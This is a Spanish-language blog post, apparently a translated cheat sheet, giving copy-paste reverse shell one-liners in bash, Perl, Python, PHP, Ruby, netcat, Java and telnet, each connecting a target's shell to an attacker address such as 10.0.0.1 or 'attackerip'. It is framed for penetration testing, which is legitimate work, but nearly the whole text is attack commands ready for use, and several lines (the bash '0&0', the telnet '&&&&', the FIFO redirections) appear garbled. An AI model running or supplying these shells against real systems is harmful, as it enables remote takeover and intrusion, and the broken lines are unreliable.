Explotación

Cómo Crear un Reverse Shell

Si tiene la suerte de encontrar una vulnerabilidad de ejecución de comando durante una prueba de penetración, probablemente muy pronto querrá un intérprete de comandos interactivo.

Si no es posible agregar una nueva cuenta /SSH key/.rhosts y simplemente iniciar sesión, es probable que su siguiente paso sea crear un shell inverso o vincular un shell a un puerto TCP. Este documento trata de la primera.

Sus opciones para crear un shell inverso están limitadas por los lenguajes de scripting instalados en el sistema de destino, aunque también podría cargar un programa binario si está adecuadamente preparado.

Los ejemplos mostrados están diseñados para sistemas tipo Unix. Algunos de los ejemplos a continuación también deberían funcionar en Windows si usa el sustituto “/bin/sh -i” con “cmd.exe”

Cada uno de los métodos siguientes tiene como objetivo ser un trazador de líneas que puede copiar/pegar. Como tales, son líneas bastante cortas, pero no muy legibles.

BASH

Algunas versiones de bash pueden enviarte un shell inverso (esto fue probado en Ubuntu 10.10).

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

O

exec /bin/bash 0&0 2>&0

O

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

O

exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done

O

while read line 0<&5; do $line 2>&5 >&5; done
PERL

Aquí hay una versión corta y sin funciones que depende de /bin/sh:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl inverso que no depende de /bin/sh:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Si el sistema de destino está ejecutando Windows, use el siguiente one-liner:

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
PYTHON

Esto fue probado bajo Linux/Python 2.7

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP

Este código supone que la conexión TCP usa el descriptor 3. Esto funcionó en el sistema más probado. Si no funciona, prueba 4, 5, 6…

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
RUBY

Versión corta que depende de /bin/sh:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Más shell inverso de Ruby que no depende de /bin/sh:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Si el sistema de destino está ejecutando Windows, use el siguiente one-liner:

ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
NETCAT

Netcat rara vez está presente en los sistemas de producción e, incluso si es que hay varias versiones de Netcat, algunas de las cuales no admiten la opción -e.

nc -e /bin/sh 10.0.0.1 1234

Otros posibles shell inversos de Netcat, según la versión de Netcat y los indicadores de compilación:

nc -c /bin/sh attackerip 4444

O

/bin/sh | nc attackerip 4444

O

Si tiene instalada la versión incorrecta de Netcat, Jeff Price señala que aún podría recuperar su shell inverso así:

rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p
JAVA

Siempre presente cuando lo necesite, el lenguaje “Java” también puede ser una muy buena solución para establecer un shell inverso.

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
TELNET

Por supuesto, también puede usar Telnet como una alternativa para Netcat:

rm -f /tmp/p; mknod /tmp/p p &&&& telnet attackerip 4444 0/tmp/p

O

# Remember to listen on your machine also on port 4445/tcp
telnet attackerip 4444 | /bin/bash | telnet attackerip 4445

Related Posts

Cómo Crear un Payload Metasploit

dotweak@admin

Leave a Comment